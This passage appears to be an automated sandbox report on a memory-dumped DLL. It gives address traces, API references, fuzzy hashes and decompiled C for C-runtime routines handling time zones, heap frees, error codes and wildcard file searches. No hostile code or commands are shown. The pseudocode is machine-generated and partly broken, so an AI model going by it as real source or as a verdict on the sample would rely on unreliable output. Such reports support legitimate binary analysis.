0x6e183362
0x6e183363
0x6e18336a
0x6e183379
0x6e183380
0x6e183388
0x6e18338a
0x6e183394
0x6e183397
0x6e1833a4
0x6e1833a6
0x6e1833a7
0x6e1833a9
0x6e1833c2
0x6e1833ca
0x6e1833cc
0x6e1833d2
0x6e1833d7
0x6e1833ce
0x6e1833ce
0x00000000
0x6e1833ce
0x6e1833ab
0x6e1833ab
0x6e1833ac
0x6e1833ac
0x6e1833ac
0x6e1833d9
0x6e18338c
0x6e18338c
0x6e18338c
0x6e1833e6
0x6e1833e8
0x6e1833ea
0x6e1833ec
0x6e1833fc
0x6e1833fc
0x6e1833ee
0x6e1833ee
0x6e1833f1
0x00000000
0x6e1833f3
0x6e1833f3
0x6e1833f4
0x6e1833f9
0x6e1833f1
0x6e183402
0x6e18340d
0x6e183418
0x6e18320c
0x6e183210
0x6e183215
0x6e183218
0x00000000
0x6e18321e
0x6e183222
0x6e183227
0x6e18322a
0x00000000
0x6e183230
0x6e183236
0x6e18323b
0x6e183241
0x6e183251
0x6e183257
0x6e18325e
0x6e183264
0x6e183268
0x6e18326e
0x6e183271
0x6e183278
0x6e18327f
0x6e18327f
0x6e183282
0x6e183289
0x6e1832a1
0x6e1832a1
0x6e1832a4
0x6e18328b
0x6e18328b
0x6e183292
0x00000000
0x6e183294
0x6e183296
0x6e18329c
0x6e18329c
0x6e183292
0x6e1832ac
0x6e1832c8
0x6e1832d8
0x6e1832cf
0x6e1832d1
0x6e1832d1
0x6e1832f6
0x6e183308
0x6e1832fd
0x6e183300
0x6e183300
0x6e1832f6
0x6e183312
0x6e18331c
0x6e183321
0x6e183326
0x6e18332d
0x6e18332d
0x6e18322a
0x6e183218

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,6E1AFFB4), ref: 6E183248
WideCharToMultiByte.KERNEL32(00000000,00000000,6E2538D4,000000FF,00000000,0000003F,00000000,?,?), ref: 6E1832C0
WideCharToMultiByte.KERNEL32(00000000,00000000,6E253928,000000FF,?,0000003F,00000000,?), ref: 6E1832ED
_free.LIBCMT ref: 6E183236

Part of subcall function 6E17FBB2: HeapFree.KERNEL32(00000000,00000000,?,6E18B6FD,6E1673C4,00000000,6E1673C4,00000000,?,6E18B9A1,6E1673C4,00000007,6E1673C4,?,6E189934,6E1673C4), ref: 6E17FBC8
Part of subcall function 6E17FBB2: GetLastError.KERNEL32(6E1673C4,?,6E18B6FD,6E1673C4,00000000,6E1673C4,00000000,?,6E18B9A1,6E1673C4,00000007,6E1673C4,?,6E189934,6E1673C4,6E1673C4), ref: 6E17FBDA

_free.LIBCMT ref: 6E183402

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 1286116820-0
Opcode ID: 7f4a51d6bd6390f03e1564a89cacabc012b11412ad09481bd478e5f39ed4c73d
Instruction ID: bdef417ba7cec2ae4f2d606dad3f04d81a8926c3c7a5e70d664ac008f5d1e78e
Opcode Fuzzy Hash: 7f4a51d6bd6390f03e1564a89cacabc012b11412ad09481bd478e5f39ed4c73d
Instruction Fuzzy Hash: D6510871900209EFDB15DFE98D4C9AFB7BDFF55710B64055AE86097284DB308982EF50

Uniqueness

Uniqueness Score: -1.00%

Function 6E17E8AA, Relevance: 7.6, APIs: 5, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E6E17E8AA(signed int* __ecx, signed int __edx) {
				signed int _v8;
				intOrPtr* _v12;
				signed int _v16;
				signed int _t28;
				signed int _t29;
				intOrPtr _t33;
				signed int _t37;
				signed int _t38;
				signed int _t40;
				void* _t50;
				signed int _t56;
				intOrPtr* _t57;
				signed int _t68;
				signed int _t71;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t78;
				signed int _t80;
				signed int* _t81;
				signed int _t85;
				void* _t86;

				_t72 = __edx;
				_v12 = __ecx;
				_t28 =  *__ecx;
				_t81 =  *_t28;
				if(_t81 != 0) {
					_t29 =  *0x6e1bb164; // 0x55e3ddbb
					_t56 =  *_t81 ^ _t29;
					_t78 = _t81[1] ^ _t29;
					_t83 = _t81[2] ^ _t29;
					asm("ror edi, cl");
					asm("ror esi, cl");
					asm("ror ebx, cl");
					if(_t78 != _t83) {
						L14:
						 *_t78 = E6E17E76B( *((intOrPtr*)( *((intOrPtr*)(_v12 + 4)))));
						_t33 = E6E17410A(_t56);
						_t57 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)))) = _t33;
						_t24 = _t78 + 4; // 0x4
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)) + 4)) = E6E17410A(_t24);
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)) + 8)) = E6E17410A(_t83);
						_t37 = 0;
						L15:
						return _t37;
					}
					_t38 = 0x200;
					_t85 = _t83 - _t56 >> 2;
					if(_t85 <= 0x200) {
						_t38 = _t85;
					}
					_t80 = _t38 + _t85;
					if(_t80 == 0) {
						_t80 = 0x20;
					}
					if(_t80 < _t85) {
						L9:
						_push(4);
						_t80 = _t85 + 4;
						_push(_t80);
						_v8 = E6E189546(_t56);
						_t40 = E6E17FBB2(0);
						_t68 = _v8;
						_t86 = _t86 + 0x10;
						if(_t68 != 0) {
							goto L11;
						}
						_t37 = _t40 | 0xffffffff;
						goto L15;
					} else {
						_push(4);
						_push(_t80);
						_v8 = E6E189546(_t56);
						E6E17FBB2(0);
						_t68 = _v8;
						_t86 = _t86 + 0x10;
						if(_t68 != 0) {
							L11:
							_t56 = _t68;
							_v8 = _t68 + _t85 * 4;
							_t83 = _t68 + _t80 * 4;
							_t78 = _v8;
							_push(0x20);
							asm("ror eax, cl");
							_t71 = _t78;
							_v16 = 0 ^  *0x6e1bb164;
							asm("sbb edx, edx");
							_t74 =  !_t72 & _t68 + _t80 * 0x00000004 - _t78 + 0x00000003 >> 0x00000002;
							_v8 = _t74;
							if(_t74 == 0) {
								goto L14;
							}
							_t75 = _v16;
							_t50 = 0;
							do {
								_t50 = _t50 + 1;
								 *_t71 = _t75;
								_t71 = _t71 + 4;
							} while (_t50 != _v8);
							goto L14;
						}
						goto L9;
					}
				}
				return _t28 | 0xffffffff;
			}

0x6e17e8aa
0x6e17e8b4
0x6e17e8b8
0x6e17e8ba
0x6e17e8be
0x6e17e8c8
0x6e17e8d9
0x6e17e8de
0x6e17e8e0
0x6e17e8e2
0x6e17e8e4
0x6e17e8e6
0x6e17e8ea
0x6e17e9a4
0x6e17e9b2
0x6e17e9b4
0x6e17e9b9
0x6e17e9c0
0x6e17e9c2
0x6e17e9d0
0x6e17e9df
0x6e17e9e2
0x6e17e9e4
0x00000000
0x6e17e9e5
0x6e17e8f2
0x6e17e8f7
0x6e17e8fc
0x6e17e8fe
0x6e17e8fe
0x6e17e900
0x6e17e905
0x6e17e909
0x6e17e909
0x6e17e90c
0x6e17e92b
0x6e17e92b
0x6e17e92d
0x6e17e930
0x6e17e939
0x6e17e93c
0x6e17e941
0x6e17e944
0x6e17e949
0x00000000
0x00000000
0x6e17e94b
0x00000000
0x6e17e90e
0x6e17e90e
0x6e17e910
0x6e17e919
0x6e17e91c
0x6e17e921
0x6e17e924
0x6e17e929
0x6e17e953
0x6e17e956
0x6e17e958
0x6e17e95b
0x6e17e963
0x6e17e969
0x6e17e970
0x6e17e972
0x6e17e97a
0x6e17e989
0x6e17e98d
0x6e17e98f
0x6e17e992
0x00000000
0x00000000
0x6e17e994
0x6e17e997
0x6e17e999
0x6e17e999
0x6e17e99a
0x6e17e99c
0x6e17e99f
0x00000000
0x6e17e999
0x00000000
0x6e17e929
0x6e17e90c
0x00000000

APIs

_free.LIBCMT ref: 6E17E91C
_free.LIBCMT ref: 6E17E93C

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: dc82acb3eaf3048072a09aff0b77c99d629e45a16c37dd1da3ec3b17705f3cb3
Instruction ID: b6f4cc254f9273d2e714aa91f063e708282539d3967e91767e9f65501b6bacc3
Opcode Fuzzy Hash: dc82acb3eaf3048072a09aff0b77c99d629e45a16c37dd1da3ec3b17705f3cb3
Instruction Fuzzy Hash: 7541D673A002049FCF60CFB8C890A9AB7F5EF89B14B21859DE556EB354D731AE41DB80

Uniqueness

Uniqueness Score: -1.00%

Function 6E17FA8A, Relevance: 7.6, APIs: 5, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E6E17FA8A(void* __ecx) {
				void* __esi;
				intOrPtr _t2;
				void* _t4;
				void* _t10;
				void* _t11;
				void* _t13;
				void* _t15;
				long _t16;

				_t11 = __ecx;
				_t16 = GetLastError();
				_t10 = 0;
				_t2 =  *0x6e1bb2d0; // 0xffffffff
				_t19 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t15 = E6E17FB55(_t11, 1, 0x364);
					_pop(_t13);
					if(_t15 != 0) {
						_t4 = E6E183908(_t13, _t16, __eflags,  *0x6e1bb2d0, _t15);
						__eflags = _t4;
						if(_t4 != 0) {
							E6E17F84C(_t13, _t15, 0x6e2536a8);
							E6E17FBB2(_t10);
							__eflags = _t15;
							if(_t15 != 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t15);
							goto L4;
						}
					} else {
						_push(_t10);
						L4:
						E6E17FBB2();
						L8:
						SetLastError(_t16);
					}
				} else {
					_t15 = E6E1838B2(_t11, _t16, _t19, _t2);
					if(_t15 != 0) {
						L9:
						SetLastError(_t16);
						_t10 = _t15;
					} else {
						goto L2;
					}
				}
				return _t10;
			}

0x6e17fa8a
0x6e17fa95
0x6e17fa97
0x6e17fa99
0x6e17fa9e
0x6e17faa1
0x6e17faaf
0x6e17fabb
0x6e17fabe
0x6e17fac1
0x6e17fad3
0x6e17fad8
0x6e17fada
0x6e17fae5
0x6e17faeb
0x6e17faf3
0x6e17faf5
0x00000000
0x00000000
0x00000000
0x00000000
0x6e17fadc
0x6e17fadc
0x00000000
0x6e17fadc
0x6e17fac3
0x6e17fac3
0x6e17fac4
0x6e17fac4
0x6e17faf7
0x6e17faf8
0x6e17faf8
0x6e17faa3
0x6e17faa9
0x6e17faad
0x6e17fb00
0x6e17fb01
0x6e17fb07
0x00000000
0x00000000
0x00000000
0x6e17faad
0x6e17fb0e

APIs

GetLastError.KERNEL32(?,0000060B,?,6E17BB83,6E17FC2F,?,?,6E173D1F,0000060B,?,6E1673C4,0000060B), ref: 6E17FA8F
_free.LIBCMT ref: 6E17FAC4
_free.LIBCMT ref: 6E17FAEB
SetLastError.KERNEL32(00000000,6E1673C4,0000060B), ref: 6E17FAF8
SetLastError.KERNEL32(00000000,6E1673C4,0000060B), ref: 6E17FB01

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 2d99cc1d23b8c8746621a0ff6944b80fddb7ebe6fc1a5cccb6c11bf2b8565146
Instruction ID: aea4cab61bdb88f203611842cd7e5002bca12314bdf5332a0d70acee91f79b06
Opcode Fuzzy Hash: 2d99cc1d23b8c8746621a0ff6944b80fddb7ebe6fc1a5cccb6c11bf2b8565146
Instruction Fuzzy Hash: 7F01FE362546017B8F2296F54CA4E5F297DBFCBB6573A4415F474D3284EF21C8C5B120

Uniqueness

Uniqueness Score: -1.00%

Function 6E18B44A, Relevance: 7.5, APIs: 5, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E18B44A(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0x6e1bb1a8; // 0x6e1bb1a0
					if(_t23 != 0) {
						E6E17FBB2(_t7);
					}
					_t2 = _t21 + 4; // 0x558bf845
					_t24 =  *_t2 -  *0x6e1bb1ac; // 0x6e253408
					if(_t24 != 0) {
						E6E17FBB2(_t8);
					}
					_t3 = _t21 + 8; // 0xec5589f8
					_t25 =  *_t3 -  *0x6e1bb1b0; // 0x6e253408
					if(_t25 != 0) {
						E6E17FBB2(_t9);
					}
					_t4 = _t21 + 0x30; // 0x727d77e8
					_t26 =  *_t4 -  *0x6e1bb1d8; // 0x6e1bb1a4
					if(_t26 != 0) {
						E6E17FBB2(_t10);
					}
					_t5 = _t21 + 0x34; // 0xfc458b0e
					_t6 =  *_t5;
					_t27 = _t6 -  *0x6e1bb1dc; // 0x6e25340c
					if(_t27 != 0) {
						return E6E17FBB2(_t6);
					}
				}
				return _t6;
			}

0x6e18b450
0x6e18b455
0x6e18b459
0x6e18b45f
0x6e18b462
0x6e18b467
0x6e18b468
0x6e18b46b
0x6e18b471
0x6e18b474
0x6e18b479
0x6e18b47a
0x6e18b47d
0x6e18b483
0x6e18b486
0x6e18b48b
0x6e18b48c
0x6e18b48f
0x6e18b495
0x6e18b498
0x6e18b49d
0x6e18b49e
0x6e18b49e
0x6e18b4a1
0x6e18b4a7
0x00000000
0x6e18b4af
0x6e18b4a7
0x6e18b4b2

APIs

_free.LIBCMT ref: 6E18B462

Part of subcall function 6E17FBB2: HeapFree.KERNEL32(00000000,00000000,?,6E18B6FD,6E1673C4,00000000,6E1673C4,00000000,?,6E18B9A1,6E1673C4,00000007,6E1673C4,?,6E189934,6E1673C4), ref: 6E17FBC8
Part of subcall function 6E17FBB2: GetLastError.KERNEL32(6E1673C4,?,6E18B6FD,6E1673C4,00000000,6E1673C4,00000000,?,6E18B9A1,6E1673C4,00000007,6E1673C4,?,6E189934,6E1673C4,6E1673C4), ref: 6E17FBDA

_free.LIBCMT ref: 6E18B474
_free.LIBCMT ref: 6E18B486
_free.LIBCMT ref: 6E18B498
_free.LIBCMT ref: 6E18B4AA

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c9d15317bce6f24abb76cc14d98a552cfc81066830e7ff1b0523f9bb6e530bb4
Instruction ID: 72b38dbe5408c16451f35527c4780506c2f125930ce68fcadc4ca979dd047bd4
Opcode Fuzzy Hash: c9d15317bce6f24abb76cc14d98a552cfc81066830e7ff1b0523f9bb6e530bb4
Instruction Fuzzy Hash: 92F04F324006489B8E70DAD8E4D2C4737EDBF15614370DC05E825D7A08CB30F8C0AAA4

Uniqueness

Uniqueness Score: -1.00%

Function 6E188496, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E6E188496(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v0;
				char _v6;
				char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v36;
				intOrPtr* _v64;
				intOrPtr _v96;
				intOrPtr* _v100;
				CHAR* _v104;
				signed int _v116;
				char _v290;
				signed int _v291;
				struct _WIN32_FIND_DATAA _v336;
				union _FINDEX_INFO_LEVELS _v340;
				signed int _v344;
				signed int _v348;
				intOrPtr _v440;
				intOrPtr* _t80;
				signed int _t82;
				signed int _t87;
				signed int _t91;
				signed int _t93;
				signed int _t95;
				signed int _t96;
				signed int _t100;
				signed int _t103;
				signed int _t108;
				signed int _t111;
				intOrPtr _t113;
				signed char _t115;
				union _FINDEX_INFO_LEVELS _t123;
				signed int _t128;
				signed int _t131;
				void* _t137;
				void* _t139;
				signed int _t140;
				signed int _t143;
				signed int _t145;
				signed int _t147;
				signed int* _t148;
				signed int _t151;
				void* _t154;
				CHAR* _t155;
				char _t158;
				char _t160;
				intOrPtr* _t163;
				void* _t164;
				intOrPtr* _t165;
				signed int _t167;
				void* _t169;
				intOrPtr* _t170;
				signed int _t174;
				signed int _t178;
				signed int _t179;
				intOrPtr* _t184;
				void* _t193;
				intOrPtr _t194;
				signed int _t196;
				signed int _t197;
				signed int _t199;
				signed int _t200;
				signed int _t202;
				union _FINDEX_INFO_LEVELS _t203;
				signed int _t208;
				signed int _t210;
				signed int _t211;
				void* _t213;
				intOrPtr _t214;
				void* _t215;
				signed int _t219;
				void* _t221;
				signed int _t222;
				void* _t223;
				void* _t224;
				void* _t225;
				signed int _t226;
				void* _t227;
				void* _t228;

				_t80 = _a8;
				_t224 = _t223 - 0x20;
				if(_t80 != 0) {
					_t208 = _a4;
					_t160 = 0;
					 *_t80 = 0;
					_t199 = 0;
					_t151 = 0;
					_v36 = 0;
					_v336.cAlternateFileName = 0;
					_v28 = 0;
					__eflags =  *_t208;
					if( *_t208 == 0) {
						L9:
						_v12 = _v12 & 0x00000000;
						_t82 = _t151 - _t199;
						_v8 = _t160;
						_t191 = (_t82 >> 2) + 1;
						__eflags = _t151 - _t199;
						_v16 = (_t82 >> 2) + 1;
						asm("sbb esi, esi");
						_t210 =  !_t208 & _t82 + 0x00000003 >> 0x00000002;
						__eflags = _t210;
						if(_t210 != 0) {
							_t197 = _t199;
							_t158 = _t160;
							do {
								_t184 =  *_t197;
								_t17 = _t184 + 1; // 0x1
								_v8 = _t17;
								do {
									_t143 =  *_t184;
									_t184 = _t184 + 1;
									__eflags = _t143;
								} while (_t143 != 0);
								_t158 = _t158 + 1 + _t184 - _v8;
								_t197 = _t197 + 4;
								_t145 = _v12 + 1;
								_v12 = _t145;
								__eflags = _t145 - _t210;
							} while (_t145 != _t210);
							_t191 = _v16;
							_v8 = _t158;
							_t151 = _v336.cAlternateFileName;
						}
						_t211 = E6E17E35B(_t191, _v8, 1);
						_t225 = _t224 + 0xc;
						__eflags = _t211;
						if(_t211 != 0) {
							_t87 = _t211 + _v16 * 4;
							_v20 = _t87;
							_t192 = _t87;
							_v16 = _t87;
							__eflags = _t199 - _t151;
							if(_t199 == _t151) {
								L23:
								_t200 = 0;
								__eflags = 0;
								 *_a8 = _t211;
								goto L24;
							} else {
								_t93 = _t211 - _t199;
								__eflags = _t93;
								_v24 = _t93;
								do {
									_t163 =  *_t199;
									_v12 = _t163 + 1;
									do {
										_t95 =  *_t163;
										_t163 = _t163 + 1;
										__eflags = _t95;
									} while (_t95 != 0);
									_t164 = _t163 - _v12;
									_t35 = _t164 + 1; // 0x1
									_t96 = _t35;
									_push(_t96);
									_v12 = _t96;
									_t100 = E6E18D133(_t164, _t192, _v20 - _t192 + _v8,  *_t199);
									_t225 = _t225 + 0x10;
									__eflags = _t100;
									if(_t100 != 0) {
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										E6E178956();
										asm("int3");
										_t221 = _t225;
										_push(_t164);
										_t165 = _v64;
										_t47 = _t165 + 1; // 0x1
										_t193 = _t47;
										do {
											_t103 =  *_t165;
											_t165 = _t165 + 1;
											__eflags = _t103;
										} while (_t103 != 0);
										_push(_t199);
										_t202 = _a8;
										_t167 = _t165 - _t193 + 1;
										_v12 = _t167;
										__eflags = _t167 - (_t103 | 0xffffffff) - _t202;
										if(_t167 <= (_t103 | 0xffffffff) - _t202) {
											_push(_t151);
											_t50 = _t202 + 1; // 0x1
											_t154 = _t50 + _t167;
											_t213 = E6E17FB55(_t167, _t154, 1);
											_t169 = _t211;
											__eflags = _t202;
											if(_t202 == 0) {
												L34:
												_push(_v12);
												_t154 = _t154 - _t202;
												_t108 = E6E18D133(_t169, _t213 + _t202, _t154, _v0);
												_t226 = _t225 + 0x10;
												__eflags = _t108;
												if(__eflags != 0) {
													goto L37;
												} else {
													_t137 = E6E188865(_a12, __eflags, _t213);
													E6E17FBB2(0);
													_t139 = _t137;
													goto L36;
												}
											} else {
												_push(_t202);
												_t140 = E6E18D133(_t169, _t213, _t154, _a4);
												_t226 = _t225 + 0x10;
												__eflags = _t140;
												if(_t140 != 0) {
													L37:
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													E6E178956();
													asm("int3");
													_push(_t221);
													_t222 = _t226;
													_t227 = _t226 - 0x150;
													_t111 =  *0x6e1bb164; // 0x55e3ddbb
													_v116 = _t111 ^ _t222;
													_t170 = _v100;
													_push(_t154);
													_t155 = _v104;
													_push(_t213);
													_t214 = _v96;
													_push(_t202);
													_v440 = _t214;
													while(1) {
														__eflags = _t170 - _t155;
														if(_t170 == _t155) {
															break;
														}
														_t113 =  *_t170;
														__eflags = _t113 - 0x2f;
														if(_t113 != 0x2f) {
															__eflags = _t113 - 0x5c;
															if(_t113 != 0x5c) {
																__eflags = _t113 - 0x3a;
																if(_t113 != 0x3a) {
																	_t170 = E6E18E070(_t155, _t170);
																	continue;
																}
															}
														}
														break;
													}
													_t194 =  *_t170;
													__eflags = _t194 - 0x3a;
													if(_t194 != 0x3a) {
														L47:
														_t203 = 0;
														__eflags = _t194 - 0x2f;
														if(_t194 == 0x2f) {
															L51:
															_t115 = 1;
															__eflags = 1;
														} else {
															__eflags = _t194 - 0x5c;
															if(_t194 == 0x5c) {
																goto L51;
															} else {
																__eflags = _t194 - 0x3a;
																if(_t194 == 0x3a) {
																	goto L51;
																} else {
																	_t115 = 0;
																}
															}
														}
														asm("sbb eax, eax");
														_v344 =  ~(_t115 & 0x000000ff) & _t170 - _t155 + 0x00000001;
														E6E1757E0(_t203,  &_v336, _t203, 0x140);
														_t228 = _t227 + 0xc;
														_t215 = FindFirstFileExA(_t155, _t203,  &_v336, _t203, _t203, _t203);
														_t123 = _v340;
														__eflags = _t215 - 0xffffffff;
														if(_t215 != 0xffffffff) {
															_t174 =  *((intOrPtr*)(_t123 + 4)) -  *_t123;
															__eflags = _t174;
															_v348 = _t174 >> 2;
															do {
																__eflags = _v336.cFileName - 0x2e;
																if(_v336.cFileName != 0x2e) {
																	L64:
																	_push(_t123);
																	_push(_v344);
																	_t123 =  &(_v336.cFileName);
																	_push(_t155);
																	_push(_t123);
																	L28();
																	_t228 = _t228 + 0x10;
																	__eflags = _t123;
																	if(_t123 != 0) {
																		goto L54;
																	} else {
																		goto L65;
																	}
																} else {
																	_t178 = _v291;
																	__eflags = _t178;
																	if(_t178 == 0) {
																		goto L65;
																	} else {
																		__eflags = _t178 - 0x2e;
																		if(_t178 != 0x2e) {
																			goto L64;
																		} else {
																			__eflags = _v290;
																			if(_v290 == 0) {
																				goto L65;
																			} else {
																				goto L64;
																			}
																		}
																	}
																}
																goto L58;
																L65:
																_t128 = FindNextFileA(_t215,  &_v336);
																__eflags = _t128;
																_t123 = _v340;
															} while (_t128 != 0);
															_t195 =  *_t123;
															_t179 = _v348;
															_t131 =  *((intOrPtr*)(_t123 + 4)) -  *_t123 >> 2;
															__eflags = _t179 - _t131;
															if(_t179 != _t131) {
																E6E18DC90(_t155, _t203, _t215, _t195 + _t179 * 4, _t131 - _t179, 4, E6E18847E);
															}
														} else {
															_push(_t123);
															_push(_t203);
															_push(_t203);
															_push(_t155);
															L28();
															L54:
															_t203 = _t123;
														}
														__eflags = _t215 - 0xffffffff;
														if(_t215 != 0xffffffff) {
															FindClose(_t215);
														}
													} else {
														__eflags = _t170 -  &(_t155[1]);
														if(_t170 ==  &(_t155[1])) {
															goto L47;
														} else {
															_push(_t214);
															_push(0);
															_push(0);
															_push(_t155);
															L28();
														}
													}
													L58:
													__eflags = _v16 ^ _t222;
													return E6E173D51(_v16 ^ _t222);
												} else {
													goto L34;
												}
											}
										} else {
											_t139 = 0xc;
											L36:
											return _t139;
										}
									} else {
										goto L22;
									}
									goto L68;
									L22:
									_t196 = _v16;
									 *((intOrPtr*)(_v24 + _t199)) = _t196;
									_t199 = _t199 + 4;
									_t192 = _t196 + _v12;
									_v16 = _t196 + _v12;
									__eflags = _t199 - _t151;
								} while (_t199 != _t151);
								goto L23;
							}
						} else {
							_t200 = _t199 | 0xffffffff;
							L24:
							E6E17FBB2(0);
							goto L25;
						}
					} else {
						while(1) {
							_v8 = 0x3f2a;
							_v6 = _t160;
							_t147 = E6E18E030( *_t208,  &_v8);
							__eflags = _t147;
							if(_t147 != 0) {
								_push( &_v36);
								_push(_t147);
								_push( *_t208);
								L38();
								_t224 = _t224 + 0xc;
							} else {
								_t147 =  &_v36;
								_push(_t147);
								_push(0);
								_push(0);
								_push( *_t208);
								L28();
								_t224 = _t224 + 0x10;
							}
							_t200 = _t147;
							__eflags = _t200;
							if(_t200 != 0) {
								break;
							}
							_t208 = _t208 + 4;
							_t160 = 0;
							__eflags =  *_t208;
							if( *_t208 != 0) {
								continue;
							} else {
								_t151 = _v336.cAlternateFileName;
								_t199 = _v36;
								goto L9;
							}
							goto L68;
						}
						L25:
						E6E188840( &_v36);
						_t91 = _t200;
						goto L26;
					}
				} else {
					_t148 = E6E17BB7E();
					_t219 = 0x16;
					 *_t148 = _t219;
					E6E178929();
					_t91 = _t219;
					L26:
					return _t91;
				}
				L68:
			}

0x6e18849b
0x6e18849e
0x6e1884a4
0x6e1884bc
0x6e1884bf
0x6e1884c3
0x6e1884c5
0x6e1884c7
0x6e1884c9
0x6e1884cc
0x6e1884cf
0x6e1884d2
0x6e1884d4
0x6e18852c
0x6e18852c
0x6e188532
0x6e188534
0x6e18853f
0x6e188543
0x6e188545
0x6e188548
0x6e18854c
0x6e18854c
0x6e18854e
0x6e188550
0x6e188552
0x6e188554
0x6e188554
0x6e188556
0x6e188559
0x6e18855c
0x6e18855c
0x6e18855e
0x6e18855f
0x6e18855f
0x6e18856a
0x6e18856c
0x6e18856f
0x6e188570
0x6e188573
0x6e188573
0x6e188577
0x6e18857a
0x6e18857d
0x6e18857d
0x6e18858b
0x6e18858d
0x6e188590
0x6e188592
0x6e18859c
0x6e18859f
0x6e1885a2
0x6e1885a4
0x6e1885a7
0x6e1885a9
0x6e1885f9
0x6e1885fc
0x6e1885fc
0x6e1885fe
0x00000000
0x6e1885ab
0x6e1885ad
0x6e1885ad
0x6e1885af
0x6e1885b2
0x6e1885b2
0x6e1885b7
0x6e1885ba
0x6e1885ba
0x6e1885bc
0x6e1885bd
0x6e1885bd
0x6e1885c1
0x6e1885c4
0x6e1885c4
0x6e1885c7
0x6e1885ca
0x6e1885d7
0x6e1885dc
0x6e1885df
0x6e1885e1
0x6e18861b
0x6e18861c
0x6e18861d
0x6e18861e
0x6e18861f
0x6e188620
0x6e188625
0x6e188629
0x6e18862b
0x6e18862c
0x6e18862f
0x6e18862f
0x6e188632
0x6e188632
0x6e188634
0x6e188635
0x6e188635
0x6e18863e
0x6e18863f
0x6e188642
0x6e188645
0x6e188648
0x6e18864a
0x6e188651
0x6e188653
0x6e188656
0x6e188660
0x6e188663
0x6e188664
0x6e188666
0x6e18867a
0x6e18867a
0x6e18867d
0x6e188687
0x6e18868c
0x6e18868f
0x6e188691
0x00000000
0x6e188693
0x6e188697
0x6e1886a0
0x6e1886a6
0x00000000
0x6e1886a9
0x6e188668
0x6e188668
0x6e18866e
0x6e188673
0x6e188676
0x6e188678
0x6e1886af
0x6e1886b1
0x6e1886b2
0x6e1886b3
0x6e1886b4
0x6e1886b5
0x6e1886b6
0x6e1886bb
0x6e1886be
0x6e1886bf
0x6e1886c1
0x6e1886c7
0x6e1886ce
0x6e1886d1
0x6e1886d4
0x6e1886d5
0x6e1886d8
0x6e1886d9
0x6e1886dc
0x6e1886dd
0x6e1886fe
0x6e1886fe
0x6e188700
0x00000000
0x00000000
0x6e1886e5
0x6e1886e7
0x6e1886e9
0x6e1886eb
0x6e1886ed
0x6e1886ef
0x6e1886f1
0x6e1886fc
0x00000000
0x6e1886fc
0x6e1886f1
0x6e1886ed
0x00000000
0x6e1886e9
0x6e188702
0x6e188704
0x6e188707
0x6e188720
0x6e188720
